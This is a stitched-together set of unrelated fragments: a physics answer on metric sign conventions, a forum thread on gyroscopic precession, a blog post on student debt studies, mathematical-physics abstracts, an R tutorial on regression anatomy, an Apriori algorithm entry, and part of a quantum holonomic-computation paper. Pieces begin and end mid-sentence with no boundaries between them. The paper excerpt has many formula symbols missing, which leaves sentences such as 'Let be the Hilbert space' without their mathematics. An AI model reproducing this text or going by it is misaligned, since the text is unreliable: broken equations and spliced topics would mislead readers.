professor uses $g=\text{diag}(-,+,+,+)$ Feb 25 '19 at 19:54 • @my2cts what do you mean? Feb 25 '19 at 19:55 • I mean that you don't need to use the metric tensor. Feb 25 '19 at 19:58 My question is, is it correct that I have to introduce the free index $$\nu$$ , or are there easier ways to do this? You didn't introduce a free index $$\nu$$ as it is contracted with another one. A free index means that the index is not summed over. What you did was introduce a $$dummy$$ index to sum over. The answer to your question, however, is no there is not an easier was to do this. In quantum field theory, this is as easy as it gets. The way to prove the derivative of $$(\partial \Phi)^2$$ is to do precisely what you did by using the definition $$\partial_\mu \Phi \partial_\nu \Phi g^{\mu\nu}$$ and then use the product rule. The resulting Klein Gordon equation should not depend on what convention you use for the metric, as you can just multiply by a minus sign to get the relative minus signs correct. The above, however, may give you the impression that equations of motion will not "look" different in different metrics. But that would be wrong. Maxwells equations are a fine example of this. $$\partial_\mu F^{\mu\nu} = j^\nu \qquad (+---)$$ and $$\partial_\mu F^{\mu\nu} = -j^\nu \qquad (-+++).$$ The equations look different but they are not. Indeed the "extra" minus sign in the latter equation comes from the fact that $$A_\mu = (-\Phi, \mathbf{A})$$ in the $$(-+++)$$ convention. So the equations are identical. I think that this answer may be of some use.

# Gyroscopic motion 1. Nov 23, 2005 ### Päällikkö The classical(?) problem: Suppose you have a ring, where practically all the mass is concentrated on the edges (like the tire of a bicycle). There is, however, a massless rod placed at the central axis. The ring's given some $\omega _i$ amount of angular speed (about the "logical" axis). The system is then placed by the end of the rod to lean horizontally on another rod that is placed vertically. The system will now rotate about the second rod too at an angluar speed $\Omega$. In case you found my description confusing (I sure did), here's a diagram I drew: http://img473.imageshack.us/my.php?image=img0157us.jpg Anyways, my question is, how much initial angular speed $\omega _i$ must be given in order for the system to execute the described motion? If you still think my desciption is confusing, please ask for more precise info . This is what I tried: 1) I assumed that as the rod's placed it is given some initial $\Omega _i$. For $\Omega _i$ to stay constant, $\Omega _i = \frac{rmg}{I_\omega \omega}$ (this I derived and it should be right). $I_\omega$ is the moment of inertia of the ring about the axis that was first set to motion. ---- 2) So, the $\Omega$ solved above will be the final $\Omega _f$ for the case where $\Omega _i$ = 0. I assumed that energy is conserved (is it?), so: $$\frac{1}{2} I_\omega \omega _i ^2 = \frac{1}{2} I_\omega \omega _f ^2 + \frac{1}{2} I_\Omega \Omega _f ^2$$ $\omega _f$ and $\Omega _f$ are connected by the equation solved in 1). So plugging that in gives me: $$I_\omega ^3 \omega _i ^2 \Omega ^2 = I_\omega (rmg)^2 + I_\Omega I_\omega ^2 \Omega ^4$$ If I solve for $\Omega$, I can have real answers only if discriminant $\geq$ 0: $$\left( -I_\omega ^3 \omega _i ^2 \right) ^2 - 4I_\Omega I_\omega ^3 (rmg)^2 \geq 0$$ $$\Rightarrow \omega _i \geq \left( 4 \frac{I_\Omega}{I_\omega}(rmg)^2 \right) ^{\frac{1}{4}}$$ Is it all wrong? (If) so, could someone give me a hint to the right direction? EDIT: Corrected a typo. Last edited: Nov 23, 2005 2. Nov 24, 2005 ### Staff: Mentor It's been a few decades since I have done a problem like this, but I will give it a try. Perhaps this belongs in the Advanced Physics section, because gyroscopic precession is more of an upper class problem. I'll be back later after I cut some vegetables and clean up a spill. 3. Nov 24, 2005 ### Staff: Mentor It seems this problem is asking one to find the precession angular frequency as a function of the angular frequency of the rotating ring (and other appropriate variables). The torque generated by the rotating ring causes the gyroscope to rotate, or precess. The acceleration is simply going into the change of direction of the rotational vector of the ring. If the centerbar mass was considered, it would be manifest in ring system's moment of inertia. Here is a simple derivation of recession frequency, but it may not be what you want. http://scienceworld.wolfram.com/physics/GyroscopicPrecession.html 4. Nov 24, 2005 ### Päällikkö That's pretty much what I did in 1). It being pretty trivial (meaning that one can find the derivation all over the internet and books) I decided not to include the derivation. I did, however, include the result (which itex-tags make a bit small). It's part 2) that I'm unsure of. The problem is just one that I made up, so if you're unsure what I'm after, please let me know. Thanks for replying, though, I was sure nobody would . 5. Nov 24, 2005 ### mezarashi I have rarely done gyroscopic motion in the past. But from what I understand, there can be multiple precession frequencies, so I'm not quite sure what you're trying to find. There won't be one frequency. Depending on the spin frequency, there will some amount of 'droop' associated while it precesses. Applying some quick fundamentals: $$\frac{d\vec{L}}{dt} = \vec{\tau}$$ You can do some successive approximations (which I'm not sure will always be applicable). The torque here is due to gravity. $$\tau \approx \frac{\Delta L}{\Delta t} , \frac{\Delta L}{L} = \Delta \Phi$$ $$\tau \approx L \frac{\Delta \Phi}{\Delta t}$$ $$\tau \approx L \omega_p$$ while $$L = I\omega_s$$ You'll sorta have a relationship between torque and the precession, spin frequencies. 6. Nov 24, 2005 ### Päällikkö I assumed that there'd be only one precession. My physics book does mention something like what you said (and that's actually what I wanted to examine closer after I get this problem sorted), but leaves it there. I thought I made a valid assumption, or do you disagree? In the problem I meant to ask what must the initial angular speed be for the system to execute gyroscopic motion. If the system is not given any initial angular speed in the precession angle's direction, some energy must be used to gain the precession angular speed, right? I hope you understood what I meant . 7. Nov 24, 2005 ### mezarashi I guess your asking for something like, what is the minimum $$\omega_s$$ so that this precession will still occur? I would go back to the 'droop' idea. As the angular velocity of the wheel decreases, the wheel will continually droop such that $$\vec{F_g} \times r$$ or in scalar form $$Mgr sin\theta$$ will be the torque $$\tau$$ to maintian the equation of gyration. The smallest possible value of theta would be such that the wheel is about to touch the center pivot. This will probably correspond to your minimum speed you are looking for. Last edited: Nov 24, 2005 8. Nov 24, 2005 ### Päällikkö Yes. As in videos on the internet (eg. MIT's OpenCourseWare video lectures), I'd like to place the ring with the axis in a 90 degree angle to the other rod (which is vertically on ground), like in the diagram in the first post. So, $$\theta$$ = 90o. 9. Feb 25, 2006 ### panathi hi everyone... I've got a question to you. It may seem a bit stupid but I have not been able to figure out WHY the gyroscope precession happens. In fact, why doesn't the torque of the applied force just make the object fall? Assumpting that this torque does not make the object falling but contributes (almost) exclusively to its rotation around a vertical axle (precession), it is very easy to do the necessary calculus and get the function which makes a relationship between angular precession speed and the angular speed of the ring (check out this link: http://physics.nad.ru/Physics/English/gyro_txt.htm).. But WHY? WHY does the percession motion happen? I found this webpage that makes it clear for a simplier example: http://www.howstuffworks.com/gyroscope2.htm . However, I can't still explain clearly why this precession motion happens in this kind of examples. I hope I have been clear enough. I am not an English native speaker and I have some difficulties expressing myself in this language

## Wednesday, July 2, 2014 ### On Student Debt The NYT has this by-now popular article asking people to take a chill-pill. The Reality of Student Debt Is Different From the Clichés. It is based largely based on a Brookings Institution study which essentially claims that the sky is not falling. The 3 main takeaways from that study (emphasis mine): 1. Roughly one-quarter of the increase in student debt since 1989 can be directly attributed to Americans obtaining more education, especially graduate degrees. The average debt levels of borrowers with a graduate degree more than quadrupled, from just under $10,000 to more than$40,000. By comparison, the debt loads of those with only a bachelor’s degree increased by a smaller margin, from $6,000 to$16,000. 2. Increases in the average lifetime incomes of college-educated Americans have more than kept pace with increases in debt loads. Between 1992 and 2010, the average household with student debt saw an increase of about $7,400 in annual income and$18,000 in total debt. In other words, the increase in earnings received over the course of 2.4 years would pay for the increase in debt incurred. 3. The monthly payment burden faced by student loan borrowers has stayed about the same or even lessened over the past two decades. The median borrower has consistently spent three to four percent of their monthly income on student loan payments since 1992, and the mean payment-to-income ratio has fallen significantly, from 15 to 7 percent. The average repayment term for student loans increased over this period, allowing borrowers to shoulder increased debt loads without larger monthly payments. The NYT tries to shine a light on the real problem: The vastly bigger problem is the hundreds of thousands of people who emerge from college with a modest amount of debt yet no degree. For them, college is akin to a house that they had to make the down payment on but can’t live in. In a cost-benefit calculation, they get only the cost. And they are far, far more numerous than bachelor’s degree holders with huge debt burdens. Here is an attempted "takedown" of the report and the NYT article. And here is a well-reasoned takedown of the takedown.

Symbolic representation and computation of timed discrete event systems Rapport, 2012 In this paper, we symbolically represent timed discrete event systems (TDES), which can be used to efficiently compute the supervisor in the supervisory control theory context. We model a TDES based on \emph{timed extended finite automata (TEFAs)}: an augmentation of extended finite automata(EFAs) by incorporating discrete time into the model. EFAs are ordinary automata extended with discrete variables, where conditional expressions and update functions can be attached to the transitions. To tackle large problems all computations are conducted symbolically using binary decision diagrams (BDDs). We show how TEFAs can be represented by BDDs. The main feature of this approach is that the BDD-based fixed point computations is not based on $\mathit{tick}$ models that have been commonly used in this area, leading to better performance in many cases. In a case study, we efficiently computed the supervisor of a well-known production cell.

(J. Stat. Phys. 147(4):832–852, 2012), are a quantum generalization of Markov chains on finite graphs or on lattices. These random walks are typically quantum in their behavior, step by step, but they seem to show up a rather classical asymptotic behavior, as opposed to the quantum random walks usually considered in quantum information theory (such as the well-known Hadamard random walk). Typically, in the case of open quantum random walks on lattices, their distribution seems to always converge to a Gaussian distribution or a mixture of Gaussian distributions. In the case of nearest neighbors homogeneous open quantum random walks on ${\mathbb{Z}^{\rm d},}$ we prove such a central limit theorem, in the case where only one Gaussian distribution appears in the limit. Through the quantum trajectory point of view on quantum master equations, we transform the problem into studying a certain functional of a Markov chain on ${\mathbb{Z}^{\rm d}}$ times the Banach space of quantum states. The main difficulty is that we know nothing about the invariant measures of this Markov chain, even their existence. Surprisingly enough, we are able to produce a central limit theorem with explicit drift and explicit covariance matrix. The interesting point which appears with our construction and result is that it applies actually to a wider setup: it provides a central limit theorem for the sequence of recordings of the quantum trajectories associated wih any completely positive map. This is what we show and develop as an application of our result. In a second step we are able to extend our Central Limit Theorem to the case of several asymptotic Gaussians, in the case where the operator coefficients of the quantum walk are block diagonal in a common basis.

We also include theories with higher stage Noether identities, known as higher gauge theories (if they are variational). Some of these systems are known to exhibit linearization instabilities: there exist exact background solutions about which a linearized solution is extendable to a family of exact solutions only if some non-linear obstruction functionals vanish. We give a general, geometric classification of a class of these linearization obstructions, which includes as special cases all known ones for relativistic field theories (vacuum Einstein, Yang–Mills, classical N = 1 supergravity, etc.). Our classification shows that obstructions arise due to the simultaneous presence of rigid cosymmetries (generalized Killing condition) and non-trivial de Rham cohomology classes (spacetime topology). The classification relies on a careful analysis of the cohomologies of the on-shell Noether complex (consistent deformations), adjoint Noether complex (rigid cosymmetries) and variational bicomplex (conserved currents). An intermediate result also gives a criterion for identifying non-linearities that do not lead to linearization instabilities.

To this end we make use of covariance algebras associated to C*-dynamical systems defined by the C*-algebras of right uniformly continuous functions with respect to the left regular representation. PubDate: 2014-03-02 • On the Partial Differential Equations of Electrostatic MEMS Devices with Effects of Casimir Force • Abstract: Abstract We analyze pull-in instability of electrostatically actuated microelectromechanical systems, and we find that as the device size is reduced, the effect of the Casimir force becomes more important. In the miniaturization process there is a minimum size for the device below which the system spontaneously collapses with zero applied voltage. According to the mathematical analysis, we obtain a set U in the plane, such that elements of U correspond to minimal stable solutions of a two-parameter mathematical model. For points on the boundary ${\Upsilon}$ of U, there exists weak solutions to this model, which are called extremal solutions. More refined properties of stable solutions—such as regularity, stability, uniqueness—are also established.

Using the form approach, we establish analogs of some classical results on operators H q =  −d2/dx 2 + q with locally integrable potentials ${q \in L^1_{\rm loc}[0, +\infty)}$ . In particular, we establish the analogues of the Glazman–Povzner–Wienholtz theorem, the Molchanov discreteness criterion, and the Birman theorem on stability of an essential spectrum. It turns out that in contrast to the case of Hamiltonians with δ-interactions, spectral properties of operators H X,β,q are closely connected with those of ${{\rm H}_{X,q}^N = \oplus_{k}{\rm H}_{q,k}^N}$ , where ${{\rm H}_{q,k}^N}$ is the Neumann realization of −d2/dx 2 + q in L 2(x k-1,x k ).

Consequently, for any integer n ≥ 2, the asymptotic independence for local level statistics near n distinct energies is obtained. PubDate: 2014-03-01 • On the Spectrum of 1D Quantum Ising Quasicrystal • Abstract: Abstract We consider one-dimensional quantum Ising spin-1/2 chains with two-valued nearest neighbor couplings arranged in a quasi-periodic sequence, with uniform, transverse magnetic field. By employing the Jordan–Wigner transformation of the spin operators to spinless fermions, the energy spectrum can be computed exactly on a finite lattice. By employing the transfer matrix technique and investigating the dynamics of the corresponding trace map, we show that in the thermodynamic limit the energy spectrum is a Cantor set of zero Lebesgue measure. Moreover, we show that local Hausdorff dimension is continuous and non-constant over the spectrum. This forms a rigorous counterpart of numerous numerical studies.

The main result of this paper is the proof of convergence of the corresponding BBGKY hierarchy to a GP hierarchy in the spaces introduced in our previous work on the well-posedness of the Cauchy problem for GP hierarchies (Chen and Pavlović in Discr Contin Dyn Syst 27(2):715–739, 2010; http://arxiv.org/abs/0906.2984; Proc Am Math Soc 141:279–293, 2013), which are inspired by the solution spaces based on space-time norms introduced by Klainerman and Machedon (Comm Math Phys 279(1):169–185, 2008). We note that in d = 3, this has been a well-known open problem in the field. While our results do not assume factorization of the solutions, consideration of factorized solutions yields a new derivation of the cubic, defocusing nonlinear Schrödinger equation (NLS) in d = 3. PubDate: 2014-03-01 • Wilson Loops in 5d ${\mathcal{N} = 1}$ SCFTs and AdS/CFT • Abstract: Abstract We consider ${\frac{1}{2}}$ -BPS circular Wilson loops in a class of 5d superconformal field theories on S 5. The large N limit of the vacuum expectation values of Wilson loops are computed both by localization in the field theory and by evaluating the fundamental string and D4-brane actions in the dual massive IIA supergravity background. We find agreement in the leading large N limit for a rather general class of representations, including fundamental, anti-symmetric and symmetric representations. For single-node theories the match is straightforward, while for quiver theories, the Wilson loop can be in different representations for each node. We highlight the two special cases when the Wilson loop is in either in all symmetric or all anti-symmetric representations. In the anti-symmetric case, we find that the vacuum expectation value factorizes into distinct contributions from each quiver node. In the dual supergravity description, this corresponds to probe D4-branes wrapping internal S 3 cycles. The story is more complicated in the symmetric case and the vacuum expectation value does not exhibit factorization.

We present a structural condition on the nonlinearity under which small data global existence holds. It is also shown that the solution is asymptotically free. Our proof is based on the commuting vector field method combined with smoothing effects. PubDate: 2014-02-04 • Random-Weighted Sobolev Inequalities on ${\mathbb{R}^d }$ and Application to Hermite Functions • Abstract: Abstract We extend a randomization method, introduced by Shiffman–Zelditch and developed by Burq–Lebeau on compact manifolds for the Laplace operator, to the case of ${\mathbb{R}^d}$ with the harmonic oscillator. We construct measures, thanks to probability laws which satisfies the concentration of measure property, on the support of which we prove optimal-weighted Sobolev estimates on ${\mathbb{R}^d}$ . This construction relies on accurate estimates on the spectral function in a non-compact configuration space. As an application, we show that there exists a basis of Hermite functions with good decay properties in ${L^{\infty}(\mathbb{R}^{d})}$ , when d ≥ 2. PubDate: 2014-02-04 • Remarks on Local Symmetry Invariance in Perturbative Algebraic Quantum Field Theory • Abstract: Abstract We investigate various aspects of invariance under local symmetries in the framework of perturbative algebraic quantum field theory (pAQFT). Our main result is the proof that the quantum Batalin–Vilkovisky operator, on-shell, can be written as the commutator with the interacting BRST charge. Up to now, this was proven only for a certain class of fields in quantum electrodynamics and in Yang–Mills theory. Our result is more general and it holds in a wide class of theories with local symmetries, including general relativity and the bosonic string. We also comment on other issues related to local gauge invariance and, using the language of homological algebra, we compare different approaches to quantization of gauge theories in the pAQFT framework. PubDate: 2014-02-02 • Infraparticle Problem, Asymptotic Fields and Haag–Ruelle Theory • Abstract: Abstract In this article, we want to argue that an appropriate generalization of the Wigner concepts may lead to an asymptotic particle with well-defined mass, although no mass hyperboloid in the energy–momentum spectrum exists. PubDate: 2014-02-01 • Non-Equilibrium States of a Photon Cavity Pumped by an Atomic Beam • Abstract: Abstract We consider a beam of two-level randomly excited atoms that pass one-by-one through a one-mode cavity. We show that in the case of an ideal cavity, i.e. no leaking of photons from the cavity, the pumping by the beam leads to an unlimited increase in the photon number in the cavity. We derive an expression for the mean photon number for all times. Taking into account leaking of the cavity, we prove that the mean photon number in the cavity stabilizes in time. The limiting state of the cavity in this case exists and it is independent of the initial state. We calculate the characteristic functional of this non-quasi-free non-equilibrium state. We also calculate the total energy variation in both the ideal and the open cavities as well as the entropy production in the ideal cavity.

On the other hand, since the Painlevé equations can also be described as isomonodromic deformations of certain second-order linear differential equations, a quantization of such Lax formalism is also a natural problem. In this paper, we introduce a canonical quantization of Lax equations for the Painlevé equations and study their symmetries. We also show that our quantum Lax equations are derived from Virasoro conformal field theory. PubDate: 2014-02-01 • Isoperimetric Inequalities for a Wedge-Like Membrane • Abstract: Abstract For a wedge-like membrane, Payne and Weinberger proved in 1960 an isoperimetric inequality for the fundamental eigenvalue which in some cases improves the classical isoperimetric inequality of Faber–Krahn. In this work, we introduce “relative torsional rigidity” for this type of membrane and prove new isoperimetric inequalities in the spirit of Saint-Venant, Pólya–Szegő, Payne, Payne–Rayner, Chiti, and Talenti, which link the eigenvalue problem with the boundary value problem in a fundamental way. PubDate: 2014-02-01 • Complete Asymptotic Expansion of the Integrated Density of States of Multidimensional Almost-Periodic Pseudo-Differential Operators • Abstract: Abstract We obtain a complete asymptotic expansion of the integrated density of states of operators of the form ${H = (-\Delta)^w+ B}$ in ${\mathbb{R}^d}$ . Here w >  0 and B belong to a wide class of almost-periodic self-adjoint pseudo-differential operators of order less than 2w. In particular, we obtain such an expansion for magnetic Schrödinger operators with either smooth periodic or generic almost-periodic coefficients.

Together with the eigenfunctions of the Laplacian which vanish at the point, this operator has a set of new, perturbed eigenfunctions. In a recent paper, the author was able to show that all of the perturbed eigenfunctions are uniformly distributed in configuration space. In this paper we prove that almost all of these eigenfunctions are uniformly distributed in phase space, i.e. we prove quantum ergodicity for the subspace of the perturbed eigenfunctions. An analogue result for a point scatterer on the two-dimensional torus was recently proved by Kurlberg and Ueberschär.

In D =  4 dimensions, the same result is obtained under the assumption of a non-negative cosmological constant.

# Puzzling Regression Anatomy 01 Jul 2020 Consider a regression model with the following causal structure: The variable x1 affects y directly and also indirectly via x2. The following R code implements the model and simulates a corresponding data set. set.seed(1) n = 10000 beta1 = 1; beta2=1 x1 = rnorm(n,0,1) x2 = x1+rnorm(n,0,1) y = beta1*x1 + beta2*x2 + rnorm(n,0,1) Assume we want to consistently estimate the direct linear effect beta1 from x1 on y. To do so, we can simply estimate a multiple linear regression where we add x2 as a control variable: coef(lm(y~x1+x2)) ## (Intercept) x1 x2 ## 0.007553765 0.998331323 1.000934100 But what does it intuitively mean to add x2 as control variable? The Frisch-Waugh-Lovell Theorem implies that we get the same estimator for beta1 as in the multiple regression above by the following procedure: # y.tilde is residual of regression # y on x2 y.tilde = resid(lm(y~x2)) # x1.tilde is residual of regression # x1 on x2 x1.tilde = resid(lm(x1~x2)) # Regression y.tilde on x1.tilde # we get the same estimate for beta1 # as in the multiple regression with x1 and x2 coef(lm(y.tilde ~ x1.tilde)) ## (Intercept) x1.tilde ## -5.104062e-17 9.983313e-01 Hence, controlling for x2 means that we essentially regress the residual variations of y and x1 that cannot be linearly explained by x2 on each other. So far this seems intuitive. The interesting thing is that one gets the same estimate for beta1 also with one of the following two regressions below (but only the regression above also yields correct standard errors): # Approach A lm(y.tilde ~ x1) # Approach B lm(y ~ x1.tilde) Approach A regresses the residual variation of y that cannot be linearly predicted by x2 on x1. Approach B regresses y on the residual variation of x1 that cannot be linearly predicted by x2. Only one approach yields a consistent estimate of beta1. Make a guess which one… Let’s check: # A: Inconsistent coef(lm(y.tilde ~ x1))[2] ## x1 ## 0.4860465 # B: Consistent coef(lm(y ~ x1.tilde))[2] ## x1.tilde ## 0.9983313 So only approach B works. Angrist and Pischke (2009) refer to it as regression anatomy. For me that result was a bit puzzling for a long time because my intuitive interpretation of what it means to control for x2 was more in line with approach A. I first want to shed light on that intuition and explain why approach A does not work. Afterward I want to give some intuition for the working approach B. ## An intuition for control variables and why approach A fails I have different intuitions what controlling for x2 means in the linear regression: y = beta0 + beta1*x1 + beta2*x2 + eps One of my intuitions is the following: “By controlling for x2, we essentially subtract the variation that can be linearly explained by x2 from y, i.e. up to an estimation error we subtract beta2*x2.” This interpretation suggests that approach A should work, but that approach fails to get a consistent estimate for beta1. So is the intuition above wrong? Not completely, but the qualification “up to an estimation error” causes trouble for approach A. Consider the following code. # Modified approach A y.tilde2 = y - beta2*x2 coef(lm(y.tilde2 ~x1))[2] ## x1 ## 0.9992699 It is a modified version of approach A. It computes the residual variation y.tilde2 by directly subtracting beta2*x2 from y. Now we get a consistent estimator of beta1 when regressing y.tilde2 on x1. But approach A differs because we subtract beta2.hat*x2 from y where beta2.hat is estimated in the first stage regression: # Same result as original approach A beta2.hat = coef(lm(y~x2))[2] beta2.hat # inconsistent estimate of beta2 ## x2 ## 1.510801 y.tilde = y-beta2.hat*x2 coef(lm(y.tilde ~x1))[2] # inconsistent estimate of beta1 ## x1 ## 0.4860465 The problem with approach A is that we don’t estimate beta2.hat consistently in the regression of y on x2. Instead, since x1 and x2 are correlated, beta2.hat also captures some of the direct effect of x1 on y. This means in y.tilde we have already removed some of the effect from x1 on y that we want to estimate. Therefore approach A yields an estimator for beta1 that is biased towards 0. Remark: In the original computation of approach A, we also subtract the estimated constant from the initial regression when computing y.tilde, but that has no effect on the slope coefficient in the second stage regression. Interestingly, in some empirical papers an approach similar to approach A is performed, i.e. one first computes residuals of y from a first regression and then regresses those residuals on another set of explanatory variables. But the computation above shows that one should really be careful with this approach, since it only works if the first regression yields consistent estimates. Let us consider an example where such an approach would work. Consider the following modified model: We now have an additional variable z that affects x2 but is uncorrelated with x1. z = rnorm(n,0,1) x2 = x1+z+rnorm(n,0,1) y = beta1*x1 + beta2*x2 + rnorm(n,0,1) We now conduct a variation of approach A where y.tilde3 are the residuals of an instrumental variable regression of y on x2 using z as instrument: library(AER) reg1 = ivreg(y~x2|z) coef(reg1)[2] # consistent beta2.hat ## x2 ## 1.006464 y.tilde3 = resid(reg1) coef(lm(y.tilde3 ~ x1))[2] # consistent beta1.hat ## x1 ## 0.9756005 We now see that regressing y.tilde3 on x1 yields a consistent estimator of beta1. ### Why does approach B work Let us now discuss why approach B works. Given our causal structure I find it more intuitive to first discuss why a similar approach works to consistently estimate beta2. # x2.tilde is residual from regression # of x2 on x1 x2.tilde = resid(lm(x2~x1)) # consistent estimate of beta2 coef(lm(y ~ x2.tilde))[2] ## x2.tilde ## 0.996786 Here I have the following intuition why it works. Intuitively, to consistently estimate the causal effect of x2 on y we need to distill variation of x2 that is uncorrelated with x1. If we regress x2 on x1, the residuals x2.tilde of this regression are by construction uncorrelated with x1. They describe the variation of x2 that cannot be linearly predicted by x1. That is exactly the variation of x2 needed to consistently estimate beta2. The equivalent procedure also works to estimate beta1 consistently: x1.tilde = resid(lm(x1~x2)) coef(lm(y ~ x1.tilde))[2] # consistent ## x1.tilde ## 0.98519 So even though x2 does not influence x1 we can similarly distill in x1.tilde the relevant variation in x1 that is uncorrelated with x2. For the regression anatomy it is irrelevant which causal direction has generated the correlation between x1 and x2. ### Final remarks I find it amazing that over many years I still often learn new intuitions for basic econometric concepts like multiple linear regression. Currently, I think introducing multiple regression via the Frisch-Waugh-Lovell theorem and the regression anatomy can be much more helpful to build intuition in an applied empirical course than covering the matrix algebra. (Of course, it is a different story if you want to prove econometric theorems.) For an example of such a course, you can check out the open online material (videos, quizzes, interactive R exercises) of my course Market Analysis with Econometrics and Machine Learning. ## References Angrist, Joshua D., and Jörn-Steffen Pischke. 2009.

Apriori Algorithm An Apriori Algorithm is an iterative association rule learning algorithm that computes the frequent itemsets where iteration $i$ computes all frequent i-itemsets (itemsets with $i$ elements) and each iteration has a candidate generation step, candidate counting step and candidate selection step. References 2009 • (Wikipedia, 2009) ⇒ http://en.wikipedia.org/wiki/Apriori_algorithm • In computer science and data mining, Apriori is a classic algorithm for learning association rules. Apriori is designed to operate on databases containing transactions (for example, collections of items bought by customers, or details of a website frequentation). Other algorithms are designed for finding association rules in data having no transactions (Winepi and Minepi), or having no timestamps (DNA sequencing). • As is common in association rule mining, given a set of itemsets (for instance, sets of retail transactions, each listing individual items purchased), the algorithm attempts to find subsets which are common to at least a minimum number C of the itemsets. Apriori uses a "bottom up" approach, where frequent subsets are extended one item at a time (a step known as candidate generation), and groups of candidates are tested against the data. The algorithm terminates when no further successful extensions are found. • Apriori uses breadth-first search and a tree structure to count candidate item sets efficiently. It generates candidate item sets of length $k$ from item sets of length $k-1$. Then it prunes the candidates which have an infrequent sub pattern. According to the downward closure lemma, the candidate set contains all frequent $k$-length item sets.

Quantum Computation in Noiseless Subsystems with Fast Non-Abelian Holonomies # Quantum Computation in Noiseless Subsystems with Fast Non-Abelian Holonomies ## Abstract Quantum information processing requires a high degree of isolation from the detrimental effects of the environment as well as an extremely precise level of control on the way quantum dynamics unfolds in the information-processing system. In this paper, we show how these two goals can be ideally achieved by hybridizing the concepts of noiseless subsystems and of holonomic quantum computation. An all-geometric universal computation scheme based on non-adiabatic and non-Abelian quantum holonomies embedded in a four-qubit noiseless subsystem for general collective decoherence is proposed. The implementation details of this synergistic scheme along with the analysis of its stability against symmetry-breaking imperfections are presented. ## I Introduction Implementation of quantum information processing (QIP) poses daunting challenges. In the first place, for most of the QIP protocols, quantum coherence has to be maintained throughout the whole computational process in spite of the decoherence induced by the unavoidable coupling with environmental degrees of freedom. Secondly, one has to achieve an unprecedented level of control to enact quantum gates within the required high accuracy. To the aim of accomplishing these, somewhat contradictory, tasks several theoretical schemes have been devised since the early days of QIP. Broadly speaking, all the information-stabilizing strategies developed to date fall in three categories: active techniques like quantum error correcting codes (1), symmetry-aided passive ones like decoherence-free subspaces and subsystems (2); (3); (4), and geometrical (5); (6); (7) and topological ones (8). Geometric QIP exploits different types of quantum holonomies, e.g., Berry phases, to implement quantum gates. Following the first non-Abelian (5) and Abelian (6) adiabatic proposals, many others have been considered, see, e.g., Refs. (7); (9); (10); (11); (12). The motivating idea is that the geometric nature of the proposed quantum gates endows them with some degree of inherent robustness against control imprecisions as well as against environment-induced decoherence (13). One of the drawbacks of the original holonomic quantum computation (HQC) (5) is its relative slowness due to the adiabaticity constraint. This potential limitation can be circumvented by resorting to non-adiabatic Abelian (14); (15) and non-Abelian (16); (17) quantum holonomies. The idea of noiseless subsystem (NS) was first introduced in Ref. (3) and experimentally demonstrated in Ref. (18). NSs are a natural generalization of the concept of noiseless quantum code or decoherence-free subspace (DFS) (2) and are effective when the decohering interactions possess some non-trivial algebra of symmetries. On general theoretical grounds, NSs have been argued to provide the unified algebraic structure underlying all the known quantum-information protection schemes (4) including topological quantum computation (19). The goal of this paper is to merge synergistically ideas from geometric QIP and NSs in order to take advantage of the appealing features of both. More specifically, we will hybridize non-adiabatic HQC (16), with the powerful theory of NSs (3); (4). The possibility of achieving robust quantum control on NSs by non-Abelian quantum holonomies was first envisioned in Refs. (20); (21), universal HQC schemes embedded in DFSs and NSs were proposed in Refs. (9); (17) and (for a strongly dissipative case) in Ref. (22). In this paper, we extend significantly the results of Ref. (17) by showing how a universal non-Abelian and nonadiabatic holonomic processor can be embedded within a NS for general collective decoherence. In this way a universal computational scheme protected against general collective decoherence and featuring at the same time the robustness of HQC against imprecisions in gate control can be ideally achieved. ## Ii Noiseless Subsystem We start by briefly recalling the basic notions concerning NSs. Let be the Hilbert space of a quantum system coupled to its environment through a set of “error” operators (23). The key object is provided by the interaction algebra , i.e., the -algebra (24) generated by the error operators. The state space of the system decomposes into the different -dimensional irreducible representations (irreps) of (labeled by and with multiplicity ) as . The corresponding orthogonal decomposition of is given by A≅⊕J1nJ⊗MdJ, (1) where denotes the full matrix algebra of complex matrices (24). When , one recovers the concept of DFS (2). The interaction algebra acts irreducibly on the factors of whereas Eq. (1) shows that the error algebra elements, responsible for decoherence, have a trivial action on the factors. It follows that quantum information can be protected by encoding in these virtual subsystems (20) that are then termed noiseless subsystems (NS) (3). In order to perform manipulations of the NS-encoded information, one has to resort to a non-trivial set of operations that belong to the commutant algebra . This crucial fact follows from the dual irreps decomposition for which one sees that of has irreducible action on the NSs and trivial one on the factors, now playing the role of multiplicity spaces. These constructions are useful if at least one of the ’s is larger than or equal to two, which in turn gives a lower bound on the dimension of the commutant . In other words, the existence of a NS encoding relies on the existence of a sufficiently large number of symmetries of the interaction algebra, i.e., of the noise. The prototypical symmetric noise is provided by collective decoherence (2) whose experimental relevance has been demonstrated in Refs. (18); (25); (26). This is also the model that will be considered in this paper. In this collective case the interaction algebra is given by the algebra of totally symmetric operators on the state space of qubits, i.e., and its commutant is the -algebra generated by permutations acting on according to the natural representation, i.e., . In the following, we show how to enact a universal set of operators in using non-adiabatic quantum holonomies only. ## Iii Non-adiabatic Holonomic Quantum Computation Non-adiabatic HQC, proposed in Ref. (16) and experimentally implemented in Ref. (27), is based on the concept of non-adiabatic non-Abelian geometric phases (28). The key idea is to implement a suitably designed Hamiltonian that induces cyclic evolution of a quantum computational system encoded in a subspace in such a way that all dynamical phases vanish. The primitive structure is of type, where an excited state is coupled by a pair of simultaneous laser pulses to ground state levels according to ( from now on) H(t)=Ω(t)(ω0|e⟩⟨g0|+ω1|e⟩⟨g1|+h.c.). (2) Here, is the Rabi frequency and are complex-valued time-independent driving frequencies satisfying . The generic Hamiltonian describes transitions between energy levels induced by oscillating laser fields in the rotating wave approximation and can be implemented in a wide range of different physical systems. The subspace spanned by , , undergoes a cyclic evolution if the Rabi frequency satisfies . The resulting time evolution operator , projected onto the computational subspace , defines the traceless Hermitian gate , where with , and are the standard Pauli operators acting on . An arbitrary SU(2) can be realized by sequentially applying two such gates with different . The evolution is purely geometric since , , vanish for . Thus, is fully determined by the path of in the space of all two-dimensional subspaces of the three-dimensional Hilbert space, i.e., in the complex-valued Grassmannian . Together with an entangling holonomic two-qubit gate, constitutes a universal all-geometric set of quantum gates (29). ## Iv Quantum holonomy in noiseless subsystems The collective decoherence on a quantum system consisting of physical qubits is characterized by the spin- error operators , . For a fixed total spin , the dimension of the noiseful (NF) part is . By using angular momentum addition rules, one can prove that nJ=(2J+1)N!(N/2+1+J)!(N/2−J)!. (3) This , which is the dimension of the NS part, provides the possibility of performing HQC. Quantum holonomy appears when the subspace returns to the original one after a non-trivial cyclic transformation. The NS spans the total space, which is the total Hilbert space of a HQC. In general, the NS should be larger than the computational space in order to admit non-trivial holonomies. A subspace of NS emerges as and the effective Hamiltonian of NS acts as the 